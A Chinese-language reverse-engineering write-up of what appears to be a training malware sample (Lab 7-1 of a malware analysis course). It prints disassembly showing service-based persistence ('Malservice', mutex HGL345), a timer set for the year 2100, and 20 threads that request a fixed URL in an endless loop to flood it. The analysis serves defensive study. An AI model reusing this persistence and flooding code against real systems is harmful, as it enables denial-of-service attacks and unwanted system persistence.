分析这个代码开始,先查看它的导入表
00404000 CreateServiceA ADVAPI32 创建一个服务进程,增加到服务控制器
00404004 StartServiceCtrlDispatcherA ADVAPI32 连接服务控制器线程,能够控制该线程
00404008 OpenSCManagerA ADVAPI32 函数建立了一个到服务控制管理器的连接,并打开指定的数据库。
00404010 CreateWaitableTimerA KERNEL32 创建一个可等待的计时器对象。
00404014 SystemTimeToFileTime KERNEL32 将系统时间到文件时间。
00404018 GetModuleFileNameA KERNEL32 获取当前进程已加载模块的文件的完整路径
0040401C SetWaitableTimer KERNEL32 定时器
00404020 CreateMutexA KERNEL32 找出当前系统是否已经存在指定进程的实例。如果没有则创建一个互斥体。
00404024 ExitProcess KERNEL32 退出进程
00404028 OpenMutexA KERNEL32 为现有的一个已命名互斥体对象创建一个新句柄
0040402C WaitForSingleObject KERNEL32
00404030 CreateThread KERNEL32
00404034 GetCurrentProcess KERNEL32 伪句柄
00404038 Sleep KERNEL32
0040403C GetStringTypeA KERNEL32
00404040 LCMapStringW KERNEL32
00404044 LCMapStringA KERNEL32
00404048 GetCommandLineA KERNEL32 获得指向当前命令行缓冲区的一个指针
0040404C GetVersion KERNEL32 当前运行的版本
00404050 TerminateProcess KERNEL32 终止指定进程及其所有线程
00404054 UnhandledExceptionFilter KERNEL32
00404058 FreeEnvironmentStringsA KERNEL32
0040405C FreeEnvironmentStringsW KERNEL32
00404060 WideCharToMultiByte KERNEL32 映射一个unicode字符串到一个多字节字符串
00404064 GetEnvironmentStrings KERNEL32
00404068 GetEnvironmentStringsW KERNEL32
0040406C SetHandleCount KERNEL32
00404070 GetStdHandle KERNEL32
00404074 GetFileType KERNEL32
00404078 GetStartupInfoA KERNEL32
0040407C HeapDestroy KERNEL32
00404080 HeapCreate KERNEL32
00404084 VirtualFree KERNEL32 释放内存
00404088 HeapFree KERNEL32
0040408C RtlUnwind KERNEL32 写到文件
00404090 WriteFile KERNEL32
00404094 HeapAlloc KERNEL32
00404098 GetCPInfo KERNEL32
0040409C GetACP KERNEL32
004040A0 GetOEMCP KERNEL32
004040A4 VirtualAlloc KERNEL32
004040A8 HeapReAlloc KERNEL32
004040AC GetProcAddress KERNEL32 检索指定的动态链接库(DLL)中的输出库函数地址
004040B0 LoadLibraryA KERNEL32 载入指定的动态链接库,并将它映射到当前进程使用的地址空间。
004040B4 MultiByteToWideChar KERNEL32 映射一个字符串到一个宽字符(unicode)的字符串
004040B8 GetStringTypeW KERNEL32
004040C0 InternetOpenUrlA WININET 通过网址打开一个资源
004040C4 InternetOpenA WININET 初始化一个应用程序,以使用 WinINet 函数。
对一些感觉有意义又不是太懂的API函数百度百科了一下,综上发现这个
程序导入了三个动态链接库:ADVAPI32,KERNEL,WININET
函数可能涉及到的几个功能如下:创建一个服务自启动,创建互斥量使其单开,只有一个程序可以运行(关于互斥量书中有讲到,可以理解为控制公共资源的访问),设置一个计时器,可能回设置代码的触发时间;对字符串进行操作,写入文件;打开网址资源等;
有了大概的思路之后,载入IDA静态分析:
可以看到程序主函数指挥调用两个子函数(call),分别为call1:查看上面的导入函数,可知其为打开服务控制器,控制自身服务;call2:调用子函数,双击跟入,程序如图:
可以看到程序调用函数OpenMutexA()函数,如上提到,为名称为HGL345的互斥体对象创建句柄,如果存在HGL345,返回成功,调到正确,否则,返回值为0.跳转到失败,程序退出。
跳转实现,即不存在名字为HGL345的互斥体,代码如下:`
.text:00401064 push esi
.text:00401065 push offset Name ; "HGL345"
.text:0040106A push 0 ; bInitialOwner
.text:0040106C push 0 ; lpMutexAttributes
.text:0040106E call ds:CreateMutexA
.text:00401074 push 3 ; dwDesiredAccess
.text:00401076 push 0 ; lpDatabaseName
.text:00401078 push 0 ; lpMachineName
.text:0040107A call ds:OpenSCManagerA
.text:00401080 mov esi, eax
.text:00401082 call ds:GetCurrentProcess
.text:00401088 lea eax, [esp+404h+BinaryPathName]
.text:0040108C push 3E8h ; nSize
.text:00401091 push eax ; lpFilename
.text:00401092 push 0 ; hModule
.text:00401094 call ds:GetModuleFileNameA
.text:0040109A push 0 ; lpPassword
.text:0040109C push 0 ; lpServiceStartName
.text:0040109E push 0 ; lpDependencies
.text:004010A0 push 0 ; lpdwTagId
.text:004010A2 lea ecx, [esp+414h+BinaryPathName]
.text:004010A6 push 0 ; lpLoadOrderGroup
.text:004010A8 push ecx ; lpBinaryPathName
.text:004010A9 push 0 ; dwErrorControl
.text:004010AB push 2 ; dwStartType
.text:004010AD push 10h ; dwServiceType
.text:004010AF push 2 ; dwDesiredAccess
.text:004010B1 push offset DisplayName ; "Malservice"
.text:004010B6 push offset DisplayName ; "Malservice"
.text:004010BB push esi ; hSCManager
.text:004010BC call ds:CreateServiceA
.text:004010C2 xor edx, edx
.text:004010C4 lea eax, [esp+404h+FileTime]
.text:004010C8 mov dword ptr [esp+404h+SystemTime.wYear], edx
.text:004010CC lea ecx, [esp+404h+SystemTime]
.text:004010D0 mov dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
.text:004010D4 push eax ; lpFileTime
.text:004010D5 mov dword ptr [esp+408h+SystemTime.wHour], edx
.text:004010D9 push ecx ; lpSystemTime
.text:004010DA mov dword ptr [esp+40Ch+SystemTime.wSecond], edx
.text:004010DE mov [esp+40Ch+SystemTime.wYear], 834h
.text:004010E5 call ds:SystemTimeToFileTime
.text:004010EB push 0 ; lpTimerName
.text:004010ED push 0 ; bManualReset
.text:004010EF push 0 ; lpTimerAttributes
.text:004010F1 call ds:CreateWaitableTimerA
.text:004010F7 push 0 ; fResume
.text:004010F9 push 0 ; lpArgToCompletionRoutine
.text:004010FB push 0 ; pfnCompletionRoutine
.text:004010FD lea edx, [esp+410h+FileTime]
.text:00401101 mov esi, eax
.text:00401103 push 0 ; lPeriod
.text:00401105 push edx ; lpDueTime
.text:00401106 push esi ; hTimer
.text:00401107 call ds:SetWaitableTimer
.text:0040110D push 0FFFFFFFFh ; dwMilliseconds
.text:0040110F push esi ; hHandle
.text:00401110 call ds:WaitForSingleObject
.text:00401116 test eax, eax
.text:00401118 jnz short loc_40113B
.text:0040111A push edi
.text:0040111B mov edi, ds:CreateThread
.text:00401121 mov esi, 14h
先调用CreateMutex函数创建一个名为HGL345的互斥体;
调用OpenSCManager函数连接到服务控制器,以便更改服务;
CreateService 创建一个服务;(参数:dwStartType参数的值会控制程序的启动方式)
之后设置程序的时间的各个变量,年份赋值为834H,也就是2100;
CreateWaitableTimerA函数创建定时器对象;
SetWaitableTimer创建定时器,应该是程序中某些代码的启动时间;
WaitForSingleObject进入等待
之后创建14h个线程,之后结束程序。代码如图所示:
仔细分析函数中lpstartaddress参数,表明了这个线程的起始地址,双击进入函数代码部分:
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:0040116B mov esi, eax
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+30j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malwareanalysisbook.com"
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
涉及到两个函数,通过导入表那里的分析,我们很容易看到,功能为初始化并打开一个固定网址的资源,通过jmp不断进行访问,而不结束循环。